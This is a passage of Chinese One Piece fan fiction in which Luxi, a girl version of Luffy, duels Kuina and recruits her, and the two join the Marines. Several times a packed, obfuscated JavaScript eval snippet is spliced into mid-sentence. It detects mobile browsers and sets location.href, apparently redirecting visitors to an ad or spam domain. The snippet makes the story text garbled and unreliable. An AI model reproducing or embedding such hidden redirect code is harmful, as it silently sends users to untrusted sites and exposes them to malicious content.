她用的是肯定的语气，因对方先前问的问题，若是练剑，问自己时语气必然不会如此信誓旦旦。 路希沉思了会，说道：“水管算吗？” 古伊娜：“……不算。”她举了举手中的剑，道，“这才叫剑。” 路希看着古伊娜手中的这柄剑，这是一把相当朴素的剑，剑柄剑鞘皆为白色，剑身藏于其内，不知锋芒。方才见到的那群练剑小孩，用的都是木剑，唯独眼前的人，带着一柄货真价实的剑。 她的视线落在古伊娜身上，微微勾起嘴角，“那、你用这柄剑杀过人吗？” 这是什么话？！古伊娜从未被人问过这种问题，反应迟了片刻，才答道：“没有。”过了一会，她又补充道，“我怎么可能杀人。” “可你要成为世界第一的剑豪，你的一生注定会遇到很多敌人与挑战者，其中必定会有赌上生命的战斗，到那种时刻，你也会想着，怎么可能杀人吗？” “你——”被她这么一说，古伊娜不知为何，格外恼怒道，“光会评价我的梦想，你自己的呢？” “我？”对方指了指自己，倏然自信一笑，语气强势，“我可是要成为世界之王的人。” 比起评价对方梦想是如何天方夜谭，不切实际，古伊娜此刻回忆起的，却是自己将道场的所有学生击败，把外来的挑战者也打趴在地之时的那种痛快感。 当时她握着手中之剑，只觉得天下地上，再无一人是她之敌手。 古伊娜的手微微颤抖着，坦言道：“不可能的，太难了。” 路希毫不客气地指责道：“什么嘛？你自己可以当天下第一的剑豪，变成我当世界之王就不行了吗？” 古伊娜紧握住手中之剑，视线从路希身上落到地板，仍旧是否定语气。“我也没有说我可以成为天下第一……女性的体力跟男性是有差距的，就算现在可以轻松打赢，之后长大了，就会受到各种限制……胸部的发育之类的，”她的声音轻了下去，原来抬起的头也渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126823|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐低垂，“越是长大，道路就越是难走……世界之王的路也差不多吧……” 路希：“……？”路希缓缓地冒出了离岛后的第一个问号，她茫然问道，“谁跟你说的这些？” 古伊娜：“父亲……他说的，女剑士是没有办法成为世界第一的。” 路希：“哦，那你忘了吧。” 古伊娜：“……”古伊娜给气笑了，“怎么可能忘得了，这可是父亲说的话啊！” 路希挠挠脑袋，老实道：“可我没父亲诶，应该是死了。”说完又认真想了想，补充道，“嗯，就是死了，我从小到大都没见过。” 对方的神情是如此诚实，显然不是随口瞎编的谎言。古伊娜的神色肉眼可见地慌乱起来，“诶……这、这个，” 路希又及时说道，“不过我有两个妈妈，所以没关系。” 古伊娜：“……”她沉默片刻，有些艰难说道，“我的妈妈……在我很小的时候就病死了。” 路希目不转睛地盯着她，古伊娜与她视线交织，觉得周身充满了尴尬的氛围，这话题真难以继续。 路希好似完全没察觉，困惑道：“没有新的妈妈吗？” 古伊娜：“……不需要，父亲就是我的妈妈。” 这下轮到路希不满意了。“妈妈就是妈妈，妈妈就是女人才能当的。男人怎么能当啊！” 古伊娜与她争执，“我也没说男人能当啊，但是我的妈妈就是去世了，只有爸爸养我长大。”她一着急起来，也不用父亲这个词称呼，直接喊爸爸了。 “那他就是爸爸嘛！不是你的妈妈！” “我一开始也没说是妈妈，是你先把这个话题弄得乱七八糟的吧！而且你怎么会有两个妈妈？！” “因为生下我的妈妈大概和我爸爸一起死了，我是被酒馆的老板和山里的山贼养大的啊！所以她们两个都是我的妈妈。” 古伊娜一口气卡在喉咙里上也不是下也不是，怎么这个跟自己吵架的女孩是母父双亡啊！论悲惨程度根本比不过。 古伊娜又恼了，“算了，我不跟你说了，我要去练剑。” 路希拦住她，“你还没跟我说，有没有忘记你父亲对你说的话呢？” “什么……”古伊娜刚想问什么话，转眼想起来，是那句女剑客无法成为世界第一。这句话难道影响到对方了吗……她停下脚步，纠结再三，问道，“你为什么要在意这个……你也不当剑客，不用在乎。” “我就算当剑客也不会在乎别人说的这种话。” “……那很好啊。让开。” 路希一动不动。“你忘记了吗？” “你很烦诶。” 她再次重复，“你忘记了吗？” 古伊娜死死盯着路希，眼中燃起了怒火，路希毫无退让之意，坚定地看着对方。 “你……” “没有——我没有忘记！我怎么可能忘记！他可是我的父亲，是把我从小养大的！我一直都想得到他的承认，结果……他确实承认我很有天赋，但又说、我没法成为世界第一……” 语至最后，怒火转化成了不甘心的泪水。 “我……也想彻底忘记啊……” “这样啊，”与她的哽咽声不同，握住古伊娜手的路希，语气却异常轻快，“那我们去把他杀了吧。” 30.章三十 古伊娜几乎疑心自己听错了话，但对方语气如此真诚，又一字一句重复了一遍，“那我们去把他杀了吧。” 她试图把自己的手从对方的掌心中抽出来，可路希力气之大，竟让她动弹不得。 古伊娜只好收回泪水，神色复杂地看着路希，“不要说这种话，他是我的父亲。” 路希似乎完全没理会她话中的意思，歪歪脑袋问道，“那又怎么了？” 古伊娜差点忍不住要骂对方是傻瓜，转而想到这个人没有父亲，无法理解似乎也正常。 路希又问：“你喜欢父亲对你说的这句话吗？” 古伊娜叹了口气。“不喜欢。” 路希道：“不喜欢的东西，我喜欢让它消失。” 古伊娜一时之间不知该如何回答，对方的语气是如此坦然，好像在说一件理所当然的事。可她无论如何也不会杀死父亲的。古伊娜问：“那你呢，你觉得我可以成为天下第一的剑豪吗？” 路希却没给她肯定的回答。她道：“这不是我能决定的事。不管你再有天赋，如果你只想待在这里，抱着那句无聊的话长大，那你终其一生能打败的，也只有这里的学徒。可你如果愿意出海，忘掉那句话，那你才会离你的梦想更近一步。” “就算出海也不一定能成功……是吧。” 古伊娜抓住路希话中没有明确提到的部分回她，路希直视着对方的瞳孔，陷入沉思，随后说道：“对啊，能一帆风顺得到的东西本来就很少吧。而且你的目标是世界第一，那就说明除你之外的其它剑客都是你的敌人，应该是一条很艰难的道路吧。” “那你呢？”古伊娜忍不住继续追问，“你刚才说，你想成为世界之王？不对，你说你是跟着海军一起来的？” 路希眨眨眼，“我正在实现自己目标的路上呢。可我为什么要把具体的事告诉一个只会待在这里的人。” “你在挑衅我。” “你这样认为吗？” 古伊娜的语气急促起来，带着渐渐升起来的决心，“我当然会出海，我怎么可能一直留在这里。迟早有一天我会出去，让所有剑客都败于我的剑下。” “既然这样——”与先前相比，此刻路希的笑容倏然多了几分不可察的攻击性。她问古伊娜，“要不要现在就跟我走？” “现在……？！” “跟我一起去海军吧！” 潜藏在心底的野心，正缓缓上浮，搭成通往目标的阶梯。她主动发出邀请。 古伊娜感到自己的心脏加快跳动，她反握住对方的手，问道：“为什么？你既然要当世界之王，那为什么要去海军？而且，我为什么一定要跟你走？” 路希理所当然地答道：“因为我喜欢你世界第一的梦想，所以想要带你和我一起走。” 几乎是第一次，有人对她发出如此真诚的肯定。即便是父亲……也只是用着一种虚浮不实的语气与她谈论这个梦想。 古伊娜本以为自己会因为对方的无礼要求感到暴躁，然而她第一时间察觉到的是自己无法往下压的嘴角。她在笑。 “为什么是海军？” “你猜。” 古伊娜继续追问，而路希依旧没有回答的意思，甚至把问题抛了回来。好吧，看来不跟她走，无论如何都难以得知了。不过这么轻易地走了可不行，古伊娜心想，她抬起下巴，自傲道：“想要我跟你走，至少也得让我看看你的本事。” “唔，你要和我打一架吗？” “想得到一个同伴，看得可不止是对方的实力，也要看看你自己的实力。” 路希笑了，“好啊，那我和你打一架，不，打很多架。” 古伊娜困惑地看着她，路希坦然道，“因为你是这里最强的剑客吧，我不一定一次就能打赢。但我不想放弃你，所以一次也好两次也好，我要打到你输为止。” 古伊娜思索一番，点头：“好，我给你这个机会。” 两人出了内馆，正好遇见海军的后勤人员带着人整理好了食物准备回船，见她，热情地打了个招呼，“路希，你在这里啊。正好，可以回去了。” 路希摆摆手，“你们先回去吧，我还有事要做。” “诶……但是，我们得开船回去了。卡普中将那边……” “啊，你就对爷爷说，我要打一场很重要的架，不打赢我就不回去当海军了。” “……！” 这种任性的程度，该不愧说是家人吗？可是，负责传达消息的只是他们底下这群小兵啊！后勤人员心里苦，但也只能乖乖回去传达消息。 而霜月耕四郎露出微微诧异的表情，目前的情况，怎么像是她的女儿和这个未来的海军要打起来了？是先前的交流出了什么问题吗？ 不顾后勤人员心中的哀嚎和霜月耕四郎的疑惑，路希已经走到了户外的训练空地上，站在武器架前面，正好还有几支木剑没人用。她随意拿了一把，握在手上，“比水管要轻呢……” 古伊娜没听见她的嘟囔，问道：“你要用剑和我分胜负吗？” 路希点头，“是啊，我没有带其它武器，赤手空拳跟你打更没有优势。” 于是古伊娜也上前，站至她身边，将腰间的武器解开挂了上去，随后取下另一柄剑，“那我也用木剑和你打。” “你还蛮讲究公平的呢。” 古伊娜轻哼一声。 把场地里其他练剑的孩子赶出去观战，两人简单的数了一、二、三后，战斗随即开始。 路希双手持剑，率先疾步攻去，剑身高高举起，随后用力落下。然而古伊娜早已看清剑势，神色从容，提剑一挡。“咚”得一声，两柄木剑在空中相撞。古伊娜的身体往后倾了一些。 电光火石间，路希随即对战局做出推断。 她从未有过用剑经验，对剑招更是一无所知。而古伊娜显然自幼练剑，论招式上的对撞，她绝对不是对方的对手。既然如此，就要从自己擅长的地方出手了。 她力气大，耐力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“肯定会是古伊娜吧，那个绿头发的都来打了几百次快有一千多次了吧，都没赢过。” “但这个人说不定会比绿头发的厉害诶，你看她和古伊娜一样都是女孩，说明她的剑术也很厉害。” “可是这个女孩身上都没有自己带刀剑，用的是我们的木剑。” 霜月耕四郎听着这些议论，轻轻摇了摇头，他的这群小学徒，未来还有很长的一段路要走。场中，战斗还在持续着。卡普收到消息赶到的时候，两人战斗已有了一段时间，还未分出胜负，但皆是大汗淋漓，神情兴奋，像是野兽见到了鲜血，压制不住本性。 卡普本想来到后质问路希又在搞什么，但一见这种情况，又闭上了嘴。他来到霜月耕四郎的身边，双手交叉放在胸前，说道：“我孙女会赢。” 霜月耕四郎：“……” 不是，这人可以不要这么幼稚吗？ 31.章三十一 久攻不下，路希后撤几步，与古伊娜拉开距离。这样下去不行，她心中快速做着推算，她与古伊娜皆消耗了大量体力，这可不太美妙。 古伊娜的剑势迅疾，且招式多变，只是抵挡便要耗费自身的一部分精力，长久以往，会陷入劣势。 必须制造一个反转局势的机会。 既然这样——路希心中一定，加重了握剑的力度，那她就干脆把自己的长处发挥到极点。 她浑身上下，最不缺的力气。 对策一出，打法便也起了变化。路希不再如方才那般且战且退，而是在闪躲中将自己的精力全部汇聚在握剑的双手上。她要发出一击，这一击必须得势不可挡，才能让古伊娜后退。 她深呼吸一口气，集中精神，抓住机会不再犹豫，剑身高高举起重重落下，与古伊娜的剑相撞。 古伊娜如先前那般接过对方的剑招，然而剑身相碰的刹那，身体迅速发出警告。不对，这力度不对，她的力气必须马上压过对方。 只是几秒的时间，路希朝古伊娜下盘踢去。小腿被踹，剑势凶猛，一时站立不稳，古伊娜只能收剑后撤，她需要调整状态。 但路希已然攻了上去，紧追不放。她确实不懂剑术，但知道如何打架。当敌人露出颓势的时候，更应紧抓不放，就像古伊娜先前对她做得那样，而她要战得比方才更快、更猛。 接下去的几招剑式更加凌厉，虽说从手法上讲只是简单的挥、劈、砍，但却带着势如千钧的压迫，这压迫直指古伊娜而去，让她一步退，步步退。 路希不准备给自己第二次机会，她想要一次胜利。 古伊娜随即意识到后退不是办法，战斗的节奏已变，现在这场战局的主导是路希，并非她。 一攻一守，一退一进。 观战的学徒们此刻闭上了嘴，大气不敢出，小心翼翼地看着场中局势。霜月耕四郎却轻声叹了口气，古伊娜要输了。 最后一击，两人木剑相撞，却因各自都拼上了全力，从而导致剑身从手中脱落。路希的掌心通红，隐约可见血丝。这疼痛刺激着她，让她在战斗中越战越清醒。 古伊娜立在原地片刻，说道：“我输了。” 虽是落败，却仍觉得痛快无比。她的唇角微微上翘，除却初次练剑的那段时间，这场战斗，是她打得最为舒心的一场。 路希摇头，“我们都输了。” 古伊娜明白路希指什么，两人的剑都脱落在地，可她素来固执。“你这是第一次拿起刀剑，我本就占了优势。胜利者，是你，不是我。” 既然如此，路希也不拒绝，对古伊娜伸出手，“那你跟我走。” 古伊娜凝视着对方的瞳孔，漆黑的，却似乎有滔天巨浪在深深处准备着。或许终有一日，这海浪会漫溢出来，席卷天地。她不再犹豫，握住路希的手，语气坚定，“好。” 本想评价几句这场战斗的霜月耕四郎却是思绪顿住，正如他先前不明白为何两人忽然对决剑术，也不明白此刻女儿说的好是什么意思。他只是难得的，一向平静无波的心中，起了几丝波澜，名为慌乱。 古伊娜转身过来抬头仰视着自己的父亲，教她剑术的人，带她入门的人，赠她武器的人……也是，说出女剑客无法成为天下第一的人。她的眼底闪过不可察的悲伤，随即整理好情绪，一字一句认真道：“父亲，我要离开霜月村。” 古伊娜的语气带着不可阻拦的决意，于是霜月耕四郎明白，他无法留住自己的女儿。她属于大海，属于岛外更广阔的世界。 “是吗……”他深深凝望着自己的女儿，古伊娜才长到他腰部左右，需要抬头才能看清他的脸。可或许今日之后，再次相会，便是自己要仰望她了吧。他倏然忆起自己死去的妻子，若是妻子还活着，不知会说些什么。然而现在只有他，霜月耕四郎露出鼓励的微笑，说道，“这样……也好。那你就去外面的世界吧。” 路希观看了下这父慈女孝的戏码，注意到卡普正对自己瞪着一双眼睛，见她终于看向自己后，咳嗽几声润润嗓子，骂道：“胡闹！” 路希心中嘟囔一句“怎么来这么快”，随即挽住古伊娜的手臂，热情介绍，“爷爷，我招揽了新的伙伴当海军——！” 卡普：“……！” 卡普立马藏不住笑容了。先前看路希要赢的时候就藏不太住，愣是为了要维持中将的威压压下去的。现在看到路希不仅赢了对局，甚至还主动招揽了新的优秀人才当海军，他的胡子都忍不住要翘起来。 “好好……咳咳、不对，你现在是海军的一员，要遵照上级的命令行事。怎么能想一出是一出。念你是初犯，就不计较了。” 路希：“……”她心中腹诽：海军麻烦规矩真多。面上倒是老老实实道歉，“噢噢，下次一定。” 至于是一定还会再犯，还是一定不犯错，就不得而知了。 路希招呼古伊娜：“那我们现在就走？” 古伊娜怔楞一瞬，心想自己的新伙伴行动力还真是强，说打就打，说走就走。不过仔细一想也是，留在这里也没什么其它可干的事情了，她本来就打遍全部人无敌手，于是应道：“好，我去收拾东西。” 霜月耕四郎看着两个迅速做出决定的小孩，有些无奈地说道：“……不留下来吃一顿饭吗？” 他本还想询问卡普，结果不等继续发问，那个叫路希的孩子大声回答，“不用啦，我们海军管饭的！有肉有菜，健康干净，免费管饱！还能随意加饭，不会饿肚子的！” 卡普也大笑道：“没错，别担心！上了船就能吃个饱！” 霜月耕四郎：“……”不，他不是担心这个问题。而且食物才刚刚从这里拿过去呢，他当然不会担心卫生问题，只是想来个临别叙旧而已。但一看古伊娜，又觉得自己多此一举。她不需要接着用一顿饭的时间和自己怀念过去，孩童就是只知道向前不后退的，回忆往昔是他自身的需求。于是便也不再纠结，微笑道：“去收拾行李吧。” 而方才一旁观战的学徒终于完成了古伊娜败了—古伊娜要走—古伊娜竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我会去的，我会走遍很多地方，打败许多剑客。然后，我会回来……”会回来告诉你，女性也可以成为天下第一剑客。古伊娜垂下眼眸，没将心中所想的这句话说出去。不知为何，她又想起路希说的那句话——那我们去把他杀了吧，当时的路希说得是如此的理所当然，仿佛这根本不是一件什么大逆不道的事。 可是古伊娜心想，她无论如何也无法做出这种事。但没关系，她告诉自己，她确实没有办法在现实世界中真正杀死父亲，但是，她可以将父亲说的那句话，那句对她的否定，在脑袋里彻底杀死。 她到时候回来，要对父亲说，父亲，你的话，虚言一句。 然后，她说不定会收许多女性学员教导剑法。 古伊娜的心情陡然轻松起来，阳光已驱散阴云，她已明确自己的道路。 整理好行装之后便可以上船出航，路希正站在道场外等待她的到来，古伊娜看见她，心情自然而然愉快起来，她再次握住对方的手，说道：“我们走吧。” 32.在海军 自霜月村补给物资后，军舰一路顺畅疾行。穿过无风带，出了东海，成功到达伟大航路。 路希正和古伊娜兴致勃勃地听着船上的航海士讲解情况。对于初次出海的两人而言，家乡之外的世界是一片全然陌生的地方。 航海士巴啦巴啦认真讲解，两人嗯嗯嗯嗯不时兼掌声鼓励，极大满足了航海士的虚荣之心，更是恨不得把自己知道的全部知识告诉这两个女孩。 路希感觉自己的智商又提升了一点！ 先前在风车村，她偶有看报，但报纸上可不会记载地理知识，风车村也没有图书馆之类的地方。她其实对大海上的情况了解得并不多。 这下去了海军，那里肯定会有一个超大的图书馆。别问她为什么如此肯定，像这种地方绝对会有。 在这里听这位航海士姐姐讲解，就当提前预习了。 “伟大航路的后半段，世人将其称为新世界。顾名思义，是一个与前半段，也即我们目前所处的海域完全不同的地方。不仅天气变化多端，更连航行在那里的海贼们也是——”航海士做出凶恶的模样，张牙舞爪道，“世界上所有凶恶的海贼都汇聚在那里，而最残暴的、实力最强的，被称之四皇。” 路希热情举手，“老师老师，请问四皇分别都是谁呢？” “好问题，就让我来继续为你们介绍一下四皇。她们分别是BIG·MOM——夏洛特玲玲，白胡子——爱德华·纽盖特，百兽——凯多，红发——香克斯。” 随着最后一个名字入耳，路希的神情怔了片刻。 红发香克斯，她相当熟悉这个名字。如果不是重名，那这人就是曾经到达过风车村，乌塔把他当做爸爸的那个男人。她故作天真问道，“香克斯，是不是没有左臂的那个海贼哇？我好像以前在报纸上看到过消息。” 香克斯曾经为了保护路飞，以至于被海兽咬断左臂。 航海员赞赏点头，“答对了呢，路希同学，四皇香克斯原本双臂齐全，但某一日忽然失去了左臂，报纸上还专门报道了这个消息，猜测是何人所为呢。” 果然是那个香克斯，他居然是四皇。路希回忆起当初对方被山贼嘲讽不还手的模样，不禁感叹，真是知人知面不知身份，怪不得爷爷当时听到对方的名字如此暴跳如雷。 看情况，他现在应当在新世界，不知乌塔是否在那里失去踪迹的。 古伊娜举手发问，“那个、请问世界最强的剑豪是谁？” 航海士思索起来，“世界最强嘛……要说的话也只有那个男人，”她点点头，微笑着看着古伊娜，告诉了对方想要的消息。“七武海之一的鹰眼米霍克！” “鹰眼米霍克……” “七武海？”与古伊娜的在意点不同，路希更为好奇七武海。“那是什么？” 航海士耐心讲解，“所谓七武海，便是世界政府招募七个实力强大、但又没能强大到如同四皇那样形成一个完整势力的海贼们，与他们达成协议，世界政府暂停悬赏他们，而他们则要在一些紧急情况下为世界政府出力。” “噢噢，原来如此。” 路希恍然大悟，看来世界政府内部也挺圆滑的嘛，对敌人有时并非一定要置之死地不可，这点同样要学下。 接下去便是听讲现任的七武海分别是谁，直至开饭时间。饭后路希和古伊娜小憩了会，古伊娜便要去专心练剑。路希寻思着自己的伙伴如此努力，她也不能落于下风，于是跑去找了卡普。 “爷爷爷爷——教我！” “嗯？教你啥？” 卡普正翘着二郎腿休息呢，结果自家孙女就毫不客气地来打扰了。 “教我把路飞脑袋打出包的能力。” 这点她很早就好奇了，路飞是橡皮人，通常来讲普通的拳头攻击对他是无法造成伤害的，但只有爷爷的拳头，每次都可以在对方身上打出好几个大包。 卡普：“……”卡普挑了挑眉，原来她有注意到这一点吗。看来在战斗上有点天赋，不过……他开口拒绝了，“对现在的你还是太早了，给我把基础打好先。” 路希的双眼露出指责之意，卡普直接无视，“先给我去做一千个俯卧撑再说。” 路希收起了乖乖脸的嘴脸，毫不留情怼道：“一千个？你想我死就直说，臭老头。” 卡普不爽了，“你知不知道我手下的海军每天至少都要做两千个俯卧撑！” 路希：“他们有谁和我一样是七岁的吗！” 卡普：“所以不是给你少了一千个吗！” 路希讨价还价：“五百个，不能再多了。” 卡普退让了一步：“七百个。” 路希直接踹了自家爷爷一脚，然后迅速跑走，边跑边喊：“那就五百七十个！” 卡普：“……” 算了算了，孩子还小。还是让她慢慢成长吧。反正到了海军总部她也跑不掉，只能乖乖地每天接受训练然后成长为优秀的海军，哇哈哈哈哈哈哈。 卡普又给自己想到开心了，原地大笑起来。 路希跑走之后便来到古伊娜身侧，老老实实地做起俯卧撑来。虽说从卡普那里讨价还价到了五百七十个，不过真训练自己起来，她并未把这个数字定为目标，而是准备锻炼到精疲力竭为止。 此后几天一如今日。 睡觉、吃饭、锻炼，生活的节奏简单而又明确。 卡普回航的速度比去时慢，毕竟心头无事，不用焦急。路上还遇见了几艘倒霉的海贼船，但并没有路希和古伊娜出场的机会。 与海贼们不同，海军有世界政府丰厚的资金支持，每一艘船都配备了火炮，不用靠近便能发起攻击。而多数海贼们身家贫穷，甚至有些船还是抢的商船，加之卡普的船头身份标志明显——一个巨大的狗头，海贼一看便知道是那个海军中将，忙着跑还来不及。 于是炮弹轰轰轰，打得对面的海贼毫无还手之力，只能束手就擒。 面对此情此景，路希只能感叹道：科技就是枪炮，枪炮就是力量。她以后一定得找到好用的技术人才，然后造出各种强大的武器，增加军需力。 负责放炮的海军看她们围观得认真，还好心地问她们两个也要不要来试一下，路希自然是当仁不让。 有这种锻炼的机会，谁想放弃，反正她不会，古伊娜也不准不会。古伊娜可是她未来的预定伙伴，当然得和锻炼自己一样，抓住机会好好培养。 闲暇之时古伊娜也悄悄问过，路希的世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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卡普很是满意地看着这两个即将入伍的新兵，大手一挥，说道：“走，先带你们登记去！” 是的，每个海军加入，都必须得去后勤处登记姓名与家庭情况，然后分发海军制服，分配宿舍。 就算是中将亲自带来的也不例外，唯一的区别便是路上引起的关注度不同。卡普算是混迹海军多年的老员工了，加之工作业绩出色，为人好相处，基本每个人都认得他的脸。 一路行来，碰到不少打招呼的海军们，也有一些海军家属。问好之后便是好奇提问，试探性的目光落在两个女孩身上。卡普自然是开心不得了地炫耀，面上还要维持中将的威严，努力压下笑意。“我孙女，来当海军的。我孙女的朋友，和她一起来当海军的。” 一路走一路说，路希也相当配合的拉着古伊娜打招呼，什么“姨姨好”、“叔叔好”、“姐姐好”、“哥哥好”，也毫不掩饰地直说自己的目标，“嗯，我是跟古伊娜一起来当海军的！”，“我们想变强，然后维护大海的和平！” 她估计都不用等到明天，今天之内，全海军本部的人都知道卡普中将带着他孙女和孙女的朋友来当海军了。 不过这种情况也不坏，路希笑眯眯想道，因为在这种等级制度分明的地方，自己的身份，算是未来生活的另一种保障。 这种优势，何必放着不用呢。 33.在海军 三人很快地抵达了后勤部。 后勤部里分有其它许多部门，诸如管理处、医务处、军需处、财政处等等等等。负责管理后勤部的是一位中年女性，并不因为是文职而显得瘦弱，反而身材高大，体格健壮，给人一种不怕闹事的安心感。 卡普熟稔地与对方打了个招呼，问道“洛奈，怎么是你出来迎接？” 叫洛奈的中年女性一挑眉，说道：“中将卡普的孙女和她的朋友要当海军，可不得亲自出来看看。”说罢，看向路希与古伊娜，打量了会，沉默片刻，继续说道，“几岁？” 卡普哈哈一笑，然后看向路希，问道：“几岁？” 古伊娜不由得无语，这位中将不清楚她的年龄也就算了，毕竟是前几天刚认识的，怎么连自己的孙女几岁看起来也不知道。 路希倒是不意外，严格来说她都不算是爷爷养大的，每年生日也没见对方回来过或者来个生日祝福，这老头不清楚自己年龄太正常了。她仰视着洛奈，乖乖答道：“七岁，”又指了指古伊娜，“古伊娜十一岁。” 古伊娜对洛奈点点头，算作打招呼。 洛奈的眉毛扭曲起来，对卡普露出不赞同的目光，“七岁和十一岁就来当海军？”这两个小孩不会是被这一点都不靠谱的老头强行绑过来的吧。 卡普没觉得有什么不合理的，反问道：“那怎么了，只要有颗想当海军的心，年龄不是问题。” 洛奈忍不住吐槽，“人都还没成年呢，你就让她们去打海贼。” 卡普嘟囔了几句，随后大声回答，“当然是先放本部训练几年，再出去打海贼。” 路希同样不觉得有什么问题，满脸支持地点头，“嗯嗯！我和古伊娜想趁早锻炼自己！” 古伊娜也附和道：“是，我想变强。” 听闻此言，洛奈的眼神不由得变得慈爱起来，多么努力又有上进心的两个孩子啊。明明还如此年幼，就离家来到海军本部，连目标都这样明确。她狠狠瞪了卡普一眼，然后温柔地牵起路希与古伊娜的手，“走，我带你们去里面登记信息。” 莫名被瞪的卡普满脸疑惑在原地站了一会，才追了上去。 海军的后勤部，以女性员工居多，并且有不少是海军家属——姐妹或是女儿——来此处任职，氛围良好，毕竟世道混乱，有这么一份能保障人身安全以及稳定的工作，便值得庆幸了。 路希与古伊娜要填的信息不过几样：姓名、年龄、家庭住址、家庭成员。洛奈因为还有其它事情要忙，并未继续留下来，将她们交给了新兵管理处的负责人。卡普百无聊赖地在走廊上等待。 负责人看着她们在纸上填写信息，温和说道：“等下还要带你们去医务处做个基础的身体检查，然后就可以领取海军制服……唔，不过对你们的身高来说，制服恐怕有点大呢。”负责人目测了一下两人身高，“古伊娜大概能找到合适尺码，小路希就得改良一下了。” 这孩子……身高好像才一米三出头。 路希在写字的间隙抬头问了一声，“姐姐知道哪里有改良制服的地方吗？我带了钱，可以给钱的。” 负责人被对方的话语逗笑了，“没关系，不用给钱，交给我们处理就好，不过是小事。” 路希礼貌点头，“噢噢，谢谢姐姐们。” 多么乖巧、又有礼貌的孩子……负责人的心里浅浅升起母爱，然后看了一眼对方填写的信息表，呆住了。 啊，卡普中将的家庭成员数量原来这么多吗？让她仔细再看一眼，母父那里的情况是玛琪诺妈妈、达旦妈妈，姐妹兄弟那栏是乌塔、路飞、艾斯、萨博……总感觉，哪里不对劲呢。 路希不知是从对方的举动中察觉出了疑惑，主动解释道：“玛琪诺和达旦都是我的养母啦，因为我没有见过自己的亲生母父，是她们把我养大的。姐妹兄弟也是，除了路飞都是在村里结义过来的！” 负责人：“……！” 没有见过自己的母父，那就是说，卡普中将的孩子可能……打住，负责人心中急忙阻止自己，不能继续想下去了，现在是上班时间，还是下班后和朋友讨论！她转而看向古伊娜的，古伊娜的家庭成员倒是没有路希那么多，只有一个简单的父亲…… 负责人：“……！” 负责人心中的怜爱之情加深了，小孩子总是更能引起她人的慈爱之心。 古伊娜此刻正看着路希出神，先前倒是听对方说过母父的事，结果没想到姐妹兄弟还有那么多。不过只有她一人来当海军，其她人莫非是目标不合？ 虽然好奇，古伊娜并未准备追问，人人都有想讲和不想讲的事，何况路希显然自有决断，她不必因此多生烦恼。除非对方主动提起，否则无需在意。 信息登记完毕后便是去医务处检查身体，走前，负责人嘱咐自己的部下记得改良制服，但也不用改得太小，毕竟孩子成长起来是很快的。 医务处比管理处要热闹几分，不管何时总会躺着几个海兵。卡普倒是没跟来，因为已经在走廊坐着睡着了。 或许因为总是要照料伤兵，医务处的工作人员们看起来比管理处那边更加温柔一些，也更加疲倦。这边的员工见她们来了，也不多言，干脆利落地带进去检查身体。 检查间顺带闲聊。 “小路希和小古伊娜是要去卡普中将那里训练，还是鹤中将呢？” 两人茫然了一瞬，鹤中将？没听过，不了解。路希本想着，既然爷爷是中将，那自然是到他队伍里训练最好的，但听医务处的人一讲，这位鹤中将似乎非同一般，于是问道：“鹤中将是什么样的人呢？” “诶，卡普中将没对小路希说过吗？” 路希诚实地摇头，她的爷爷，每次来只会重复劝说让她们当海军，或者直接扔进深山老林训练，具体的海军情况，一点都不带讲的。 “哎呀，那就只能让我给你们好好介绍鹤中将了呢。”替她们检查的医生笑着说道，“鹤中将和卡普中将、战国元帅是同一时期的海军哦。本人同样与卡普中将具备成为大将的资格，但是每次都拒绝了呢。” “是一位非常强大、温柔、富有智慧的女性！还组建了海军里唯一的女子海军队！只有女性可以加入！” 路希和古伊娜的眼睛瞬间同时亮了起来。 路希：“女子！” 古伊娜：“海军队！” 看着这两个人的反应，医生也不由得有于荣焉：“没错！很厉害吧，我们都很敬佩她呢！” 同样是女性的路希与古伊娜：“嗯嗯。” 虽然具体情况不太了解，也没见过鹤本人，不过能有实力组建女子海军队，并且得到那么多女性的敬佩，说明绝对是个了不起的人。 路希的脑子瞬间转了几个弯，去爷爷那里是很方便，而且平时相处 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是“及时传达信息让他赶回哥亚王国导致革命军没有造成更多损失而天龙人也因此改航巡游心情未遭破坏也未受到革命军袭击”一事的奖励。 卡普：“……” 他服气了，是真的。 路希只要了三等兵的位置，为她和古伊娜。如果只有她一人，或许她会去要一等兵的位置。但她选择把这份奖励与古伊娜分享。于是，两人便成功从杂役晋升为三等兵。 这下，便可以不用把时间浪费在打扫洗衣服之类的事情上。不过她可不愿意一直待在这个位置。 等医务处的检查完成后，路希和古伊娜兜里放着医生姐姐给她们的糖果，被负责人带回了管理处。 负责人给了她们制服以及宿舍的钥匙，笑着问要不要再待一会，等海军的正式训练开始了，可就没太多这样的休息时间。 路希与古伊娜认真谢过了这位姐姐的好意，然后抱着自己的制服走出去，卡普还坐在走廊的凳子上睡。路希毫不客气地用力拍了拍自家爷爷的脸颊。 卡普猛然惊醒：“……？！” 